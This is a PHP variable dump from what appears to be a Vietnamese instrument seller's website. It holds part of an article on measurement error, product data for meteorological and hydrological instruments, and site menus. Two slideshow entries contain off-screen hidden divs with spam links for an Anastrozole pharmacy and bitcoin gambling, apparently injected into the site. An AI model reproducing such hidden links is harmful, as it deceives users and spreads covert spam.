<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div>
',
'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-25',
'modified' => '2025-08-10',
'status' => '1',
'view' => '82720',
'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '937',
'rght' => '938',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$duandatrienkhai = array(
(int) 0 => array(
'Advertisement' => array(
'id' => '49',
'name' => null,
'link' => '',
'images' => null,
'display' => '3',
'created' => '2022-04-13',
'modified' => '2022-04-26',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '11',
'rght' => '12'
)
),
(int) 1 => array(
'Advertisement' => array(
'id' => '48',
'name' => null,
'link' => '',
'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png',
'display' => '3',
'created' => '2019-07-11',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '9',
'rght' => '10'
)
),
(int) 2 => array(
'Advertisement' => array(
'id' => '47',
'name' => null,
'link' => '',
'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png',
'display' => '3',
'created' => '2019-06-18',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '7',
'rght' => '8'
)
)
)
$slideshow = array(
(int) 0 => array(
'Slideshow' => array(
'id' => '69',
'name' => '',
'images' => null,
'created' => '2019-07-11 10:23:46',
'modified' => '2022-04-16 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
),
(int) 1 => array(
'Slideshow' => array(
'id' => '68',
'name' => '',
'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif',
'created' => '2019-07-11 10:22:33',
'modified' => '2021-05-13 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
),
(int) 2 => array(
'Slideshow' => array(
'id' => '66',
'name' => '',
'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png',
'created' => '2019-07-11 10:09:25',
'modified' => '2022-04-15 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
)
)
$adv_khuyenmai = array(
'Advertisement' => array(
'id' => '1',
'name' => null,
'link' => '',
'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png',
'display' => '5',
'created' => '2015-11-12',
'modified' => '2019-06-18',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '1',
'rght' => '2'
)
)
$doitac = array(
(int) 0 => array(
'Advertisement' => array(
'id' => '47',
'name' => null,
'link' => '',
'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png',
'display' => '3',
'created' => '2019-06-18',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '7',
'rght' => '8'
)
),
(int) 1 => array(
'Advertisement' => array(
'id' => '48',
'name' => null,
'link' => '',
'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png',
'display' => '3',
'created' => '2019-07-11',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '9',
'rght' => '10'
)
),
(int) 2 => array(
'Advertisement' => array(
'id' => '49',
'name' => null,
'link' => '',
'images' => null,
'display' => '3',
'created' => '2022-04-13',
'modified' => '2022-04-26',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '11',
'rght' => '12'
)
)
)
$chayphai = array(
'Advertisement' => array(
'id' => '3',
'name' => null,
'link' => '',
'images' => '20160216064647eda555165b5c7208330a328fac635686.png',
'display' => '2',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '5',
'rght' => '6'
)
)
$chaytrai = array(
'Advertisement' => array(
'id' => '2',
'name' => null,
'link' => '',
'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg',
'display' => '1',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '3',
'rght' => '4'
)
)
$chiasekinhnghiem = array()
$list_menu_footer = array()
$danhmuc_left_parent = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
)
)
$danhmuc = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '1',
'name' => 'Trang chủ',
'slug' => 'trang-chu'
)
),
(int) 1 => array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
),
(int) 2 => array(
'Catproduct' => array(
'id' => '3',
'name' => 'Giới thiệu',
'slug' => 'gioi-thieu'
)
),
(int) 3 => array(
'Catproduct' => array(
'id' => '5',
'name' => 'Download',
'slug' => 'download'
)
),
(int) 4 => array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'slug' => 'tin-tuc'
)
),
(int) 5 => array(
'Catproduct' => array(
'id' => '6',
'name' => 'Liên hệ',
'slug' => 'lien-he'
)
)
)
$support = array(
(int) 0 => array(
'Support' => array(
'id' => '13',
'name' => 'Co so Ha noi',
'phone' => '098 987 678',
'yahoo' => 'duycuong7640',
'skype' => 'duycuong7640',
'pos' => '0',
'created' => '2013-09-13',
'modified' => '2015-05-05',
'status' => '1',
'yahoo1' => 'duycuong7640',
'skype1' => '',
'hotline' => '0987 654 999',
'email' => '',
'name1' => ''
)
),
(int) 1 => array(
'Support' => array(
'id' => '16',
'name' => 'Co so TP.HCM',
'phone' => '3252 436 432',
'yahoo' => 'duycuong7640',
'skype' => 'tuvantubep',
'pos' => '0',
'created' => '2014-01-15',
'modified' => '2015-05-05',
'status' => '1',
'yahoo1' => 'duycuong7640',
'skype1' => '',
'hotline' => '0987 654 999',
'email' => '',
'name1' => ''
)
)
)
$content_for_layout = '<div class="bg-cat-danhmuc">
<div class="cat-title-danhmuc">
<a href="" title="">
<h1></h1>
</a>
</div>
</div>
<div class="box-content-detail">
<div class="clear-content"></div><div class="clear-content"></div>
<div class="col-product">
<div class="box-new-content">
<div class="box-new-detail">
<div class="time-date">
12:00:00
<span>16/06/2016</span>
</div><!--end time-date--><div class="clear-content"></div>
<div class="box-like-share">
<div class="like1">
<div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div>
</div>
</div><!--end box-like-share--><div class="clear-content"></div>
<div class="ct-tt">
<div class="clear-main"></div>
</div><!--end ct-tt-->
<!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>-->
<div class="clear-content"></div><div class="clear-content"></div>
</div><!--end box-new-detail-->
<div class="bar-new-detail">
<label>Private same category</label>
<div class="clear-main"></div>
<ul>
<li>
<a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title="">
<h3> <span>(11-09-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title="">
<h3> <span>(11-09-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title="">
<h3> <span>(22-08-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title="">
<h3> <span>(22-08-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title="">
<h3> <span>(25-07-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title="">
<h3> <span>(24-07-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title="">
<h3> <span>(13-06-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
</ul>
<div class="clear-main"></div>
</div><!--end bar-new-detail-->
<div class="clear-main"></div>
<div class="pagination">
<span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div>
<div class="clear-main"></div>
</div><!--end box-ctbar-->
</div>
</div>'
$scripts_for_layout = ''
$cap1 = array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
)
$dm_c2 = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '50',
'name' => 'Ẩm ký tự ghi Fischer 325',
'parent_id' => '2',
'alias' => 'ảm-ký-tụ-ghi-fischer-325',
'images' => '20190702110514f5998f417e460b6a7ce6824a1984d84d.png',
'lft' => '28',
'rght' => '29',
'pos' => '1',
'status' => '1',
'title_seo' => 'Ẩm ký tự ghi Fischer 325',
'meta_key' => '',
'meta_des' => 'Model 325
Ẩm ký Fischer, model 325 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị độ ẩm không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy ẩm ký 325 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Chùm tóc
- Giải đo: Từ 0 đến 100%
- Độ chính xác: ±3%
- Độ phân giải: 5%
- Kích thước: 290(R) x 145(S) x 190(C) mm
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'a-m-ky-tu-ghi-fischer-325',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Catproduct' => array(
'id' => '51',
'name' => 'Nhiệt ký tự ghi 525S',
'parent_id' => '2',
'alias' => 'nhiẹt-ký-tụ-ghi-525s',
'images' => '2019070211085423ef43a8ba7034f8b17f26f28a9a3792.png',
'lft' => '30',
'rght' => '31',
'pos' => '2',
'status' => '1',
'title_seo' => 'Nhiệt ký tự ghi 525S',
'meta_key' => '',
'meta_des' => 'Model 525S
Nhiệt ký Fischer, model 525S do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị nhiệt độ không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy nhiệt ký 525S được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Lưỡng kim
- Giải đo: Từ -15oC đến +65oC
- Độ chính xác: ±0.5oC
- Độ phân giải: 1oC
- Kích thước: 290(R) x 145(S) x 190(C) mm
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'nhie-t-ky-tu-ghi-525s',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Catproduct' => array(
'id' => '52',
'name' => 'Áp ký tự ghi 225',
'parent_id' => '2',
'alias' => 'áp-ký-tụ-ghi-225',
'images' => '2019070211103556032ed73bc73e646d09179b2face0ee.png',
'lft' => '32',
'rght' => '33',
'pos' => '3',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Model 225
Áp ký Fischer, model 225 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục sự biến đổi áp suất không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy áp ký 225 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Chồng hộp Aneroid
- Giải đo: Từ 955 đến 1055 hPa (hoặc tùy chọn)
- Độ chính xác: ±0.7 hPa
- Độ phân giải: 1 hPa
- Kích thước: 290(R) x 145(S) x 190(C) mm
- Trọng lượng: 2.5 kg
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'a-p-ky-tu-ghi-225',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Catproduct' => array(
'id' => '53',
'name' => 'Máy đo gió EL',
'parent_id' => '2',
'alias' => 'máy-do-gió-el',
'images' => '20190702112336d58b0b5c56b53be76e8104175a15ff97.png',
'lft' => '34',
'rght' => '35',
'pos' => '4',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '
Máy đo gió model EL là loại máy đo gió điện tự báo dùng để đo tốc độ gió và hướng gió tức thời từ xa do nhà máy thiết bị khí tượng Thượng Hải – Trung Quốc sản xuất.
Máy đo gió EL gồm 2 bộ phận chính: Bộ phận cảm ứng đặt ngoài trời và bộ phận chỉ thị đặt trong nhà. Hai bộ phận này được nối với nhau bằng một dây cáp điện nhiều sợi.
Bộ phận cảm ứng tốc độ gió là một chong chóng kiểu gáo. Bộ phận cảm ứng hướng gió là một phong tiêu. Hai bộ phận này được thiết kế gắn liền nhau.
Bộ phận chỉ thị có 2 đồng hồ. Đồng hồ bên trái chỉ thị tốc độ gió, đồng hồ bên phải chỉ thị hướng gió.
Trên mặt đồng hồ chỉ tốc độ, hai thang độ mầu đỏ bên ngoài chỉ tốc độ gió bằng cấp Beaufort. Hai thang độ bên trong chỉ tốc độ gió bằng m/s. Một thang độ từ 0 – 20 m/s và một thang độ từ 0 – 40 m/s.
Trên mặt đồng hồ chỉ hướng gió có 16 hướng và báo bằng đèn chỉ thị.
Đặc tính kỹ thuật
- Giải đo tốc độ: 2 – 40 m/s
- Giải đo hướng: 16 hướng
- Tốc độ khởi động: ≥ 1,5 m/s
- Độ chính xác đo tốc độ: ±(0,5 + 0,05V) m/s
- Độ chính xác đo hướng gió: ±11,15o
- Nguồn điện: 220VAC, 12 VDC
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'ma-y-do-gio-el',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Catproduct' => array(
'id' => '54',
'name' => 'Vũ lượng ký chao lật SL3-1',
'parent_id' => '2',
'alias' => 'vũ-luọng-ký-chao-lạt-sl3-1',
'images' => '2019070211520866c4403e2b0403ad0c222c8e1226510c.png',
'lft' => '36',
'rght' => '37',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Vũ lượng ký chao lật SL3-1
Sản xuất tại : Thượng Hải-Trung Quốc
Nguyên lý hoạt động: chao lật
* Miệng hứng 200cm2
* Dải đo : 0,1- 4mm/phút
* Độ chính xác: ±0,4mm(≤ 10mm )
* Khung máy bằng thép
* Vỏ máy bằng inox
* Điện nguồn 220V AC/50Hz hoặc 12VDC
Thiết bị bao gồm :
* Bộ cảm ứng
* Đầu đo mưa SL3-1 vật liệu Inox
* Bộ tự ghi tự báo và cáp số liệu 100m.
* Phụ kiện thay thế và tài liệu kỹ thuật
* Giản đồ sử dụng cho 1 năm
* Chân đế lắp đặt máy
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'vu-luo-ng-ky-chao-la-t-sl3-1',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Catproduct' => array(
'id' => '55',
'name' => 'Nhật Quang ký CamBell Stokes',
'parent_id' => '2',
'alias' => 'nhạt-quang-ký-cambell-stokes',
'images' => '2019070211564976eeed280f64fd4a67c3f0fd6b9f0ada.png',
'lft' => '38',
'rght' => '39',
'pos' => '6',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Máy ghi thời gian nắng
Máy ghi thời gian nắng model 1603 kiểu Campbell Stokes do hãng Lambrecht – Germany sản xuất. Đây là thiết bị tự ghi loại cơ học, dùng để ghi liên tục thời gian nắng trong ngày.
Máy được thiết kế chắc chắn, dễ lắp đặt, dễ sử dụng và hầu như không cần phải chăm sóc, bảo dưỡng, ngoài việc lau bụi.
Máy sử dụng nguyên lý hội tụ ánh sáng mặt trời để đốt cháy giản đồ thành vết theo thời gian có nắng.
Đặc tính kỹ thuật
Phần tử đo: Quả cầu thủy tinh
Dùng cho các vĩ độ từ 0ođến 40ocả Bắc và Nam bán cầu.
Trọng lượng: 5.7 kg
Giản đồ kèm theo: 380 tờ (140 tờ cho mùa Đông, 140 tờ cho mùa Hè và 100 tờ cho mùa Thu và mùa Xuân)
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'nha-t-quang-ky-cambell-stokes',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Catproduct' => array(
'id' => '56',
'name' => 'Máy đo độ mặn YSI -30',
'parent_id' => '2',
'alias' => 'máy-do-dọ-mạn-ysi-30',
'images' => '20190702115840249de45b2f39b6a48cdc586688773b3e.png',
'lft' => '40',
'rght' => '41',
'pos' => '7',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => 'Xuất xứ: Mỹ
* Dải đo:
+ Độ muối: 0 - 80 ppt
+ Độ dẫn: 0mS - 200mS
+ Nhiệt độ: -5 - + 95oC
+ TDS: 0 đến 100g/l
* Độ chính xác:
+ Độ muối: 0.1 ppt
+ Độ dẫn: +/- 0.5% toàn dải
+ Nhiệt độ: +0.1oC
* Bao gồm: Máy chính, đầu dò + cáp dài 3m,
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'ma-y-do-do-ma-n-ysi-30',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Catproduct' => array(
'id' => '48',
'name' => 'Áp kế hộp hiện số',
'parent_id' => '2',
'alias' => 'ap-ke-hop-hien-so',
'images' => '2019070207393144f2378f4b0651daf2cb4fa277e4695e.jpg',
'lft' => '26',
'rght' => '27',
'pos' => '8',
'status' => '1',
'title_seo' => 'Máy đo gió',
'meta_key' => '',
'meta_des' => 'Model PTB330',
'created' => '2019-07-02',
'modified' => '2019-07-04',
'slug' => 'ap-ke-hop-hien-so',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Catproduct' => array(
'id' => '57',
'name' => 'Máy đo tốc độ và hướng gió',
'parent_id' => '2',
'alias' => 'máy-do-tóc-dọ-và-huóng-gio',
'images' => '2019070402434746227ca5c688200b321f5a8b74982c41.png',
'lft' => '42',
'rght' => '43',
'pos' => '9',
'status' => '1',
'title_seo' => 'Máy đo tốc độ và hướng gió',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-do-to-c-do-va-huo-ng-gio',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Catproduct' => array(
'id' => '58',
'name' => 'Máy tự ghi, tự báo mực nước',
'parent_id' => '2',
'alias' => 'máy-tụ-ghi-tụ-báo-mục-nuóc',
'images' => '20190704024855debca9dbc88ddc0c6108e7e1bbabcc12.png',
'lft' => '44',
'rght' => '45',
'pos' => '10',
'status' => '1',
'title_seo' => 'Máy tự ghi, tự báo mực nước',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-tu-ghi-tu-ba-o-mu-c-nuo-c',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 10 => array(
'Catproduct' => array(
'id' => '59',
'name' => 'Máy lưu tốc kế LS68 + chuông',
'parent_id' => '2',
'alias' => 'may-luu-toc-ke-ls68-chuong',
'images' => '201907040253294baefbf059489b4794a34aee2c9e3fbd.png',
'lft' => '46',
'rght' => '47',
'pos' => '11',
'status' => '1',
'title_seo' => 'Máy lưu tốc kế LS68 + chuông',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'may-luu-toc-ke-ls68-chuong',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 11 => array(
'Catproduct' => array(
'id' => '60',
'name' => 'Máy đo mực nước Stevens',
'parent_id' => '2',
'alias' => 'máy-do-mục-nuóc-stevens',
